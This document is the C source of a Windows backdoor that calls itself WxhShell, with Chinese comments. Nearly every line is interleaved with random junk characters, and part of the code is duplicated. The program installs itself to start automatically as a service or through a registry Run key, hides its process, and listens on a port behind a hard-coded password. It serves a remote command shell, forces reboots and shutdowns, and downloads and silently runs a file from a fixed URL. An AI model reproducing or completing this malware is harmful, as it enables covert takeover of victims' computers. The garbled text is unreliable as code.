~*/30V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yhK9rcJq6} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "9c!p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]EN&EA"< 5't9/8i if (!NtQueryInformationProcess) return 0; U\{I09@E 0 [4;_8-[Nv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "{S4YA if(!hProcess) return 0; *.$ov<E. &j'k9C2p if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kMzDmgoxNg *
kL>9 CloseHandle(hProcess); ):+^893) k|]l2zlT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "j&p3 if(hProcess==NULL) return 0; M?gZKdj $y<`Jy]+)~ HMODULE hMod; _wg~5'w8 char procName[255]; v7+|G'8M` unsigned long cbNeeded; _Co
v >6_i iRW5*-66f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .aK=z) [;toumv CloseHandle(hProcess); (Ze\<Y#cv `"~ X1; if(strstr(procName,"services")) return 1; // 以服务启动 7|J&fc5BP i7\>uni return 0; // 注册表启动 a(JtGjTf& } y
</i1qM #N=_- // 主模块 2gvS`+<TP int StartWxhshell(LPSTR lpCmdLine) w3>G3=b { H?ue!5R#L SOCKET wsl; (a,`Y. BOOL val=TRUE; 0icB2Jm:D} int port=0; JO87rG struct sockaddr_in door; ]/R>nT ]YDqmIW if(wscfg.ws_autoins) Install(); "tK3h3/Xv La^Zr,T! port=atoi(lpCmdLine); N0
t26| A (hY^E(D if(port<=0) port=wscfg.ws_port; Jju?v2y` SN QLEe WSADATA data; l29AC}^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]?jmRk^. Oh}@c~7; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T(q Hi?Y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (ke<^sv7! door.sin_family = AF_INET; q<fj1t1w door.sin_addr.s_addr = inet_addr("127.0.0.1"); p7*7V.>X door.sin_port = htons(port); =Y3 d~~ ,*p(q/kJh~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !<-+}X+o8$ closesocket(wsl); x||b:2 return 1; b DF_ } YWq{?'AaR @zix%x if(listen(wsl,2) == INVALID_SOCKET) { +hT9V1'-D closesocket(wsl); r7)iNTQ1 return 1; E?mW4? } .e:+Ek+ Wxhshell(wsl); 0wETv WSACleanup(); 8,m: 8HSGOs =8 return 0; F|WH=s3 okW'}@jD } OL&VisJ{75 NL ceBok // 以NT服务方式启动 0g@*N4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RQn3y-N] { 7nPm{=BG DWORD status = 0; 0ENqK2 DWORD specificError = 0xfffffff; A kqGk5e
^ tkix@Q!;\ serviceStatus.dwServiceType = SERVICE_WIN32; _..5G7%#% serviceStatus.dwCurrentState = SERVICE_START_PENDING; l?beqw: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IZ_ B $mo serviceStatus.dwWin32ExitCode = 0; 9l7 youZ] serviceStatus.dwServiceSpecificExitCode = 0; 1`n
ZK$ serviceStatus.dwCheckPoint = 0; VqB9^qJ]! serviceStatus.dwWaitHint = 0; &cx]7:; w?c~be$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4_Rv}Yd if (hServiceStatusHandle==0) return; k1WyV_3 ]0p*EB=C* status = GetLastError(); 23UXOY0BW if (status!=NO_ERROR) vf_pEkx*wD { v-Uz,3 serviceStatus.dwCurrentState = SERVICE_STOPPED; bNz2Uo!0K serviceStatus.dwCheckPoint = 0; _ID =]NJ_ serviceStatus.dwWaitHint = 0; /^Lo@672 serviceStatus.dwWin32ExitCode = status; ,PyPRPk serviceStatus.dwServiceSpecificExitCode = specificError; rg+3pX\{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M Xl! return; z: W1(/W~ } ~leLQsZ :&D$Q
4 serviceStatus.dwCurrentState = SERVICE_RUNNING; Z@:R'u2Lk serviceStatus.dwCheckPoint = 0; 7)3cq}]O serviceStatus.dwWaitHint = 0; k Nw3Qr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }4I;<%L3` } n!XSB7d~X d e~3: // 处理NT服务事件,比如:启动、停止 s!BZrVM%I` VOID WINAPI NTServiceHandler(DWORD fdwControl) t+SLU6j, { j(=zc6m switch(fdwControl) TsZX'Yn { #*K!@X case SERVICE_CONTROL_STOP: X<$8'/p r serviceStatus.dwWin32ExitCode = 0; : ]JsUb{YK serviceStatus.dwCurrentState = SERVICE_STOPPED; qfEB VS( serviceStatus.dwCheckPoint = 0; N6-bUM6%I serviceStatus.dwWaitHint = 0; GEf[k OQ { K,GX5c5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;%aWA } ol8uV{:" return; 6NqLo^ "g case SERVICE_CONTROL_PAUSE: GUK3`}!% serviceStatus.dwCurrentState = SERVICE_PAUSED; 7wc{.~+ break; JYWc3o6 case SERVICE_CONTROL_CONTINUE: qS+I lg serviceStatus.dwCurrentState = SERVICE_RUNNING; S1n'r}z8 break; Y~bGgd]T case SERVICE_CONTROL_INTERROGATE: su]ywVoRT break; (wsvj61 }; pDx}~IB SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'}?mE3i } p}swJ;S NBZ>xp[U // 标准应用程序主函数 jk}m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #8jH_bi { \OXKK<^$uK }GTy{Y*& // 获取操作系统版本 3/hAxd OsIsNt=GetOsVer(); /2!"_?<L GetModuleFileName(NULL,ExeFile,MAX_PATH); zoBjrAyD >'zp // 从命令行安装 %4E7 Tu,1 if(strpbrk(lpCmdLine,"iI")) Install(); Ycx$CUC 0#KB.2AP // 下载执行文件 *`V-zD if(wscfg.ws_downexe) { pBu~($%d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DV~1gr,\ WinExec(wscfg.ws_filenam,SW_HIDE); eDSBs3k7H } Jid :$T> 5{|\h} if(!OsIsNt) { $pGk%8l% // 如果时win9x,隐藏进程并且设置为注册表启动 wen6" HideProc(); { n%U2LVL StartWxhshell(lpCmdLine); $yb8..+ } Q-N.23\1 else
qz:_T if(StartFromService()) YB} _zuZ4& // 以服务方式启动 y0'" StartServiceCtrlDispatcher(DispatchTable); *ha9Vq@X else >KXT2+w // 普通方式启动 v)2@;Q StartWxhshell(lpCmdLine); bqg\V8h {#y HL return 0; ]H|1quT } .*g;2.-qv& br'/>Un" <cz~q=%v2& wB(
igPi =========================================== l9.wMs*`X ),6Z1 K1 c$'UfW *WgP+"h &WHEP dD 6%_d m' " 0\U28zbMJw M$gy J!Pb #include <stdio.h> f i!wrvO #include <string.h> o&~z8/?LA #include <windows.h> wEMUr0Hq #include <winsock2.h> c(AjM9s #include <winsvc.h> EH$wWl^ #include <urlmon.h> i,,>@R `czXjZE #pragma comment (lib, "Ws2_32.lib") L4;n$=e #pragma comment (lib, "urlmon.lib") 2s6Hr;^w.1 VuZmX1x)N #define MAX_USER 100 // 最大客户端连接数 Ck.GN<#-^P #define BUF_SOCK 200 // sock buffer (|5g`JDG #define KEY_BUFF 255 // 输入 buffer q#Qr@Jf _bks*.9}3b #define REBOOT 0 // 重启 Gf'V68,l$ #define SHUTDOWN 1 // 关机 xI~\15PhG =4MiV] #define DEF_PORT 5000 // 监听端口 FM7N|]
m hoeTJ/;dm #define REG_LEN 16 // 注册表键长度 <ZrZSt+< #define SVC_LEN 80 // NT服务名长度 +V8yv-/{ 3P6!j // 从dll定义API "5jZS6A] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sinG $= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nhCB])u8l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a4: PufS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *G~c6BZ d*>M<6b- // wxhshell配置信息 z4J-qK~2 struct WSCFG { s_Dl8O4u int ws_port; // 监听端口 i]$7w! r& char ws_passstr[REG_LEN]; // 口令 6U+#ADo int ws_autoins; // 安装标记, 1=yes 0=no G%kXr$?W char ws_regname[REG_LEN]; // 注册表键名 c*1x*'j. char ws_svcname[REG_LEN]; // 服务名 ?I/,r2ODLh char ws_svcdisp[SVC_LEN]; // 服务显示名 c@q>5fR/c char ws_svcdesc[SVC_LEN]; // 服务描述信息 l2`8]Qr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T)Nis~ int ws_downexe; // 下载执行标记, 1=yes 0=no >v<}$v6D~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,.}PZL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uV
6f~cQ G(0bulq }; j ^!J:Bj _Wb-&6{ // default Wxhshell configuration v*BA\& struct WSCFG wscfg={DEF_PORT, S5Px9&N8( "xuhuanlingzhe", tc,7yo\". 1, _1R`xbV "Wxhshell", Z *ZG5e "Wxhshell", n`:l`n>N$ "WxhShell Service", \AK|~:\] "Wrsky Windows CmdShell Service", "?9fL#8f*! "Please Input Your Password: ", $qrr]U 1, &gEu%s^wR "http://www.wrsky.com/wxhshell.exe", Vd1K{rH# "Wxhshell.exe"
y?unI~4tC }; 7T2W%JT-, "+Qh,fTt // 消息定义模块 MK[spV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y=j[v},4 char *msg_ws_prompt="\n\r? for help\n\r#>"; bL[PNUG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O@=mN*<gg0 char *msg_ws_ext="\n\rExit."; R\Q%_~1 char *msg_ws_end="\n\rQuit."; <zDe;& char *msg_ws_boot="\n\rReboot..."; Z?Q2 ed*j char *msg_ws_poff="\n\rShutdown..."; Ph%s.YAZ~ char *msg_ws_down="\n\rSave to "; Dps{[3Y+ `Ys })Pl char *msg_ws_err="\n\rErr!"; ~fUSmc char *msg_ws_ok="\n\rOK!"; R$3JbR. p.}[!!m P char ExeFile[MAX_PATH]; p4AXQuOP int nUser = 0; e-K 8K+7 HANDLE handles[MAX_USER]; q-3KF int OsIsNt; <|`@K|N 0,A?*CO SERVICE_STATUS serviceStatus; O#U"c5% SERVICE_STATUS_HANDLE hServiceStatusHandle; )
k2NF="o JWn{nJ$] // 函数声明 ^#Y6
E int Install(void); M!jW=^\ int Uninstall(void); )UdS(Bj int DownloadFile(char *sURL, SOCKET wsh); =Fs LF int Boot(int flag); uE|[7,D7;u void HideProc(void); -*Pt781 int GetOsVer(void); Zn} )&Xt int Wxhshell(SOCKET wsl); ]`kvq0Gyb void TalkWithClient(void *cs); }n7e_qy4 int CmdShell(SOCKET sock); gdZVc9_ int StartFromService(void); i;xMf5Jz int StartWxhshell(LPSTR lpCmdLine);
=*Yc/ G7202(w
< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SWGa%6| VOID WINAPI NTServiceHandler( DWORD fdwControl ); j`GbI0,bT ,6bMfz // 数据结构和表定义 JS:lysu SERVICE_TABLE_ENTRY DispatchTable[] = ppD~xg] { A X#!9-m3 {wscfg.ws_svcname, NTServiceMain}, U`Ag|R {NULL, NULL} A-u5 }; =iQm_g W.R'2R# // 自我安装 Rp|&1nS int Install(void) U; xWW9 { &; skB. char svExeFile[MAX_PATH]; ^0
lPv!2 HKEY key; 4|L@oTzx strcpy(svExeFile,ExeFile); dtBV0$ (KMobIP^ // 如果是win9x系统,修改注册表设为自启动 I7_D $a= if(!OsIsNt) { \xZBu" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j)DZmGg&t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wE \c?*k RegCloseKey(key); eC{Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JT9<kB/07 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *!/#39 RegCloseKey(key); H7=z%Y9y return 0; >z
-(4Z } 4~Pto
f@ } Ft rw3OxN } C941@I else { 7tpZE+OX pdHb // 如果是NT以上系统,安装为系统服务 (R<4"QbE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rx"Qwi, \U if (schSCManager!=0) l1qwT0*6> { B3t>M)
9 SC_HANDLE schService = CreateService 1Qu,]i` ( gc~h!%'.I schSCManager, uPXqTkod wscfg.ws_svcname, &s;^q wscfg.ws_svcdisp, -c?wEqa~2 SERVICE_ALL_ACCESS, +"cyOC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~?5m5z O SERVICE_AUTO_START, Ve1] ECk SERVICE_ERROR_NORMAL, IpXhb[UZ? svExeFile, \KXEw2S NULL, z{0;%E NULL, l,L=VDEz, NULL, sr+mY; NULL, Av>j+O ; NULL (NC>[ ); e:D"_B if (schService!=0) 9y*!W { 2vN(z%p CloseServiceHandle(schService); -\$cGIL CloseServiceHandle(schSCManager); RbM~E~$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $)]FCuv strcat(svExeFile,wscfg.ws_svcname); kw:D~E( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j/pQSlV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WGluY>C; RegCloseKey(key); ee^_Dh4 return 0; :*'?Ac
? } :+Ax3 } Q3q.*(# CloseServiceHandle(schSCManager); faOWhIG } AJd.K'=8 } -*fYR#VQQB si_HN{ return 1; m =,c,*> } Q_.c~I}yV p-r%MnT // 自我卸载 5@+E i25 int Uninstall(void) Z*>/@ J} { f$|v0Xs HKEY key; $2C GRhC s7i.p] if(!OsIsNt) { cgXF|'yI&l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )V/lRR& RegDeleteValue(key,wscfg.ws_regname); G1_@!
4 RegCloseKey(key); o[[r_v_d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r{R7" RegDeleteValue(key,wscfg.ws_regname); PZ(<eJ> RegCloseKey(key); {ah~q}(P return 0; uEGPgYY ( } GR[>mkW!M } ^MHn2Cv/~ } G=5t5[KC else { +Z<Q^5w@ j~*Z7iu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e=z_+gVm if (schSCManager!=0) <4e*3WSG { kok^4VV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H"rzRd;S if (schService!=0) /+t[, { &:I
+]G/W if(DeleteService(schService)!=0) { kF,\bM CloseServiceHandle(schService); =&VXn{e CloseServiceHandle(schSCManager); 5 t`ap return 0; ^+Vk#_2Q } ,Zf!KQw CloseServiceHandle(schService); J-\?,4mcP } RL
Zf{Q> CloseServiceHandle(schSCManager); lJzy)ne } s
P4,S(+e } jc.JX_/ B%J%TR_ return 1; l5Wa'~0qA } 0yC`9g)( !HjNx%o5< // 从指定url下载文件 mHEf-6|C` int DownloadFile(char *sURL, SOCKET wsh) 7Jx-W| { C{hcK 1-K HRESULT hr; <j
9Mt=8M char seps[]= "/"; "x|NG,<[9 char *token; %L13Jsw char *file; l \^nC2 char myURL[MAX_PATH]; +Sd,l>8\ char myFILE[MAX_PATH]; G(0y|Eq i`KZ, strcpy(myURL,sURL); IbJ[Og^Qyu token=strtok(myURL,seps); 4SffP/ while(token!=NULL) -yAnn { f3TlJ!!U file=token; ^'[@M'`~L token=strtok(NULL,seps); L=HVdeE } |^PLZ> MFH"$t+ GetCurrentDirectory(MAX_PATH,myFILE); [+l strcat(myFILE, "\\"); xeHb89GnoQ strcat(myFILE, file); Lubs{-5lk send(wsh,myFILE,strlen(myFILE),0); |N$?_<H send(wsh,"...",3,0); <P^hYj-swh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mheU#&| if(hr==S_OK) 1n`1o-&l- return 0; .^LL9{? else D=~B7b: return 1; 1U7,X6=~ (eRKR2% q } 2b#(X'ob wVp4c?s // 系统电源模块 {x|kg; int Boot(int flag) $,;S\JmWP { '>e79f-O) HANDLE hToken; P*SCHe' TOKEN_PRIVILEGES tkp; zvGK6qCk TsX+. i' if(OsIsNt) { <4Q1 2: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !b7'>b'J<1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m(Y.X=EZr tkp.PrivilegeCount = 1; -jVaS wt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Be{/2jU% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cfr<D3&,] if(flag==REBOOT) { JEsLF{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ; wbUk5Tf/ return 0; =a9etF%B } M20Bc, VI else { z9M.e. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "brRME3 return 0; If-,c^i } f]ue#O } _V& !4Zd9: else { Ns2,hQFc if(flag==REBOOT) { /bmXDDYH4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oQ%\[s$ return 0; ';b3Mm
# } Z cm<Fw else { \L ] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pgLtD};S return 0; Har~MO?A } D1X4|Q*SK } 0iJ!K;A2% _~;&)cn,0 return 1; NfTCpA } hj&fQ}X 5iQmZ[ // win9x进程隐藏模块 zJ;>.0 void HideProc(void) Ufdl|smt1 { X>Al:?`}N SOp=~z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }!%JYG^!D if ( hKernel != NULL ) ~H^'al2PK { #ya\Jdx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )N"Ew0U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1~2R^#rm FreeLibrary(hKernel); \.H9$C$ } g@~!kh,TH ](W5.a,-$L return; D XV@DQ } 7}4'dW. 7G5y)Qb // 获取操作系统版本 0n:?sFY> int GetOsVer(void) ?;|@T ty% { b!0DH[XKV OSVERSIONINFO winfo; =&A!C"qK4[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :)#hrFp GetVersionEx(&winfo); weAn&h| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *u>lx!g return 1; 7tSJniB else /O|:{LQ return 0; )Hbb&F } {O^TurbTFA l{Jt s I // 客户端句柄模块 $Y6I_U
int Wxhshell(SOCKET wsl) {L@+(I { 0K<x=-cCB SOCKET wsh; .,3Zj / struct sockaddr_in client; ^rv"o:lF DWORD myID; z %x7fe )K~w'TUr while(nUser<MAX_USER) .'|mY$U~] { |3}5:k int nSize=sizeof(client); 2fl4h<V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &E
bI Op if(wsh==INVALID_SOCKET) return 1; QyPg
|#T2> X8/Tl\c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]3*P:$Rq if(handles[nUser]==0) ha*X6R closesocket(wsh); ~>V-*NT8 else $<B
+K nUser++; 1O
|V=K } M`GP^Ta WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Go0}'*% Q48+O?&
return 0; }e<'BIME } }N3V5cab 3bC+Mco // 关闭 socket ><;Q@u5~ void CloseIt(SOCKET wsh) kt^yj"C> { NYBe"/}GS closesocket(wsh); KOjluP nUser--; gQ37> ExitThread(0); 0rD#s{? } mjb{~ Nbt GlSs8 // 客户端请求句柄 AoBoFZLl3 void TalkWithClient(void *cs) 9)`amhf> { }g`Gh|C 8L%M<JRg~ SOCKET wsh=(SOCKET)cs; -hWC_X:9jP char pwd[SVC_LEN]; Y\xUT>(J7 char cmd[KEY_BUFF]; x?"#gK`3; char chr[1]; nnNv0?>d( int i,j; V!4a*,Pz l&Z
Sm while (nUser < MAX_USER) { =SAV| dpwD8Q<
U if(wscfg.ws_passstr) { !@G)$g=< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }j46L1T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .WvlaPK //ZeroMemory(pwd,KEY_BUFF); fXO_g i=0; .NJ|p=fy while(i<SVC_LEN) { 9R
p2W Z%}4bJ // 设置超时 B0d%c&N${ fd_set FdRead; G@gh#[b struct timeval TimeOut; jd 1jG2=f FD_ZERO(&FdRead); %j7:tf= FD_SET(wsh,&FdRead); k=[pm5ZvT~ TimeOut.tv_sec=8; 0GZq`a7[ TimeOut.tv_usec=0; DAdYg0efex int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M;+IZr Wkl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fkjeR
B nnwJYEi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W|MWXs5'1* pwd=chr[0]; hN if(chr[0]==0xd || chr[0]==0xa) { -v]Qhf&> pwd=0; )%mg(O8uL break; g5+7p@'fV } S]^`woD i++; { p;shs5 } h >-'-Hx+ |;+qld[4z // 如果是非法用户,关闭 socket a?F!,=F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PU1,DU } h[kU<mU"T x5}lgyt send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )I`if(fG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rn8cdMN xzsdG?P while(1) { IA4N@ijRxh .2W"w)$nuq ZeroMemory(cmd,KEY_BUFF); mT@nn, n[,XU|2 // 自动支持客户端 telnet标准 |a-fE]{7 j=0;
6)qp*P$L while(j<KEY_BUFF) { rh!;|xB|+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |mhKI is U cmd[j]=chr[0]; eQUe
>* if(chr[0]==0xa || chr[0]==0xd) { +5!&E7bcd cmd[j]=0; {u"8[@@./ break; :@eHX& } ST1'\Eo j++; .5w azvA } Vi?q>:E: z.36;yT/ // 下载文件 X^s2BW if(strstr(cmd,"http://")) { o(!@7Lqq send(wsh,msg_ws_down,strlen(msg_ws_down),0); a~PK
pw2% if(DownloadFile(cmd,wsh)) ;f1qLI send(wsh,msg_ws_err,strlen(msg_ws_err),0); Io n~ else NBYH;h P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m&*JMA;^ } GIyF81KR 3 else { ),(V6@Z? /( hUfYm0 switch(cmd[0]) { iEm ? E5</h"1 // 帮助 M5g\s;y; case '?': { Z
hd#:d send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OhVs#^ break; Cr C=A=e } dY(;]sxFr // 安装 Qkcjr]#^$ case 'i': { ) ;FS7R
if(Install()) ]p7jhd= send(wsh,msg_ws_err,strlen(msg_ws_err),0); T/pqSmVpM else ^v&D;<&R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5]5 KB; break; =Yz'D|=t } K/L;8a // 卸载 t `kui. case 'r': { g%nl!dgS if(Uninstall()) h6~$/`&]b send(wsh,msg_ws_err,strlen(msg_ws_err),0); _n;;][]S else M|,mr~rRG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 58 bCUh#uw break; 3djC;*,9, } xtfBfA // 显示 wxhshell 所在路径 i,IB!x case 'p': { H/+B%2Zj char svExeFile[MAX_PATH]; z^<L(/rg9" strcpy(svExeFile,"\n\r"); bN$r k| strcat(svExeFile,ExeFile); ;G\8jP'
send(wsh,svExeFile,strlen(svExeFile),0); as*4UT3 break; -=`#fDvBn } 0@I S // 重启 F@ Swe case 'b': { (wRgus send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6$\jAd| if(Boot(REBOOT)) _8,()t'" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?W>qUrZ else { qpIC{'A. closesocket(wsh); ntFT>g{B ExitThread(0); ]\ !5}L } R:X0'zeRr break; `h:34RC; } ":a\z(*t // 关机 U*3J+Y case 'd': { YNwp/Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); km~Ll if(Boot(SHUTDOWN)) br-]fE.be send(wsh,msg_ws_err,strlen(msg_ws_err),0); AN!s{7V3 else { Ae]sGU|?' closesocket(wsh); kQ1w5mCh ExitThread(0); ^9Qy/Er' } =X\^J break; &>d:R_Q] } >NYW{(j // 获取shell s\!>"J bAQ case 's': {
#$1Z CmdShell(wsh); oND@:>QBF closesocket(wsh); I[)% , jd ExitThread(0); mKrh[nA break; h2ytS^ } 7frTTSZ // 退出 %\]*OZ7 case 'x': { )e5 @ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wLK07e( CloseIt(wsh); (e(:P~Ry break; Xs: 3'ua } ^8.]d~j // 离开 YIw1 case 'q': { ~ab:/!Z send(wsh,msg_ws_end,strlen(msg_ws_end),0); T,aW8| closesocket(wsh); $9Hcdbdm WSACleanup(); fhL,aCS= exit(1);
nt*Hc1I break; R2Zgx\VV' } MxT-1&XL } |$?bc3 } _ODbY;M ,eTU/Q>{,& // 提示信息 T5a*z}L5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h1'\:N` } pe^u$YE } ns6(cJ^a xJ#d1[kzo return; ;4Y%PVz~D } D$t k<{)oB ^#-nE7 // shell模块句柄 DI+fwXeg int CmdShell(SOCKET sock) qkiI/nH3 { u\C
lP# STARTUPINFO si; `
,SiA-3* ZeroMemory(&si,sizeof(si)); H\TI[JPAl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g$b<1:8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dC RyOid$ PROCESS_INFORMATION ProcessInfo; /~zai} char cmdline[]="cmd"; yUpgoX(6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FCnm1x# return 0; H1}
RWaJ } #O+),,WS )c `7( nY // 自身启动模式 7(pF[LCF int StartFromService(void) I:mr}mv=i { C.FI~Z typedef struct |`.([2 { HDF|{ DWORD ExitStatus; l<A|d{" ] DWORD PebBaseAddress; #{?qNl8F*J DWORD AffinityMask; zAiXo__x DWORD BasePriority; rx] @A ULONG UniqueProcessId; ax (c# ULONG InheritedFromUniqueProcessId; V#iPj'*
} PROCESS_BASIC_INFORMATION; V,%=AR5 S:OO0<W PROCNTQSIP NtQueryInformationProcess; xL\0B,] thI
F& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Evedc*z~P static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 97}OL`y ZjF 4v HANDLE hProcess; oz,e/v8~ PROCESS_BASIC_INFORMATION pbi; C#Na&m ; #&yn=^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XT4{Pe7{[P if(NULL == hInst ) return 0; (L/_^!ZX O6LS(5j2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "hsb8- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <i&_ooX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~vyf4TF<# d8c=L8~jt if (!NtQueryInformationProcess) return 0; S[J}UpV _no*k?o* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?vbvBu{a if(!hProcess) return 0; Z'.AA OG ;IZwTXu !S if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c}2jmwq
eQ]~dA8> CloseHandle(hProcess); ?`PvL!' lE4HM$p
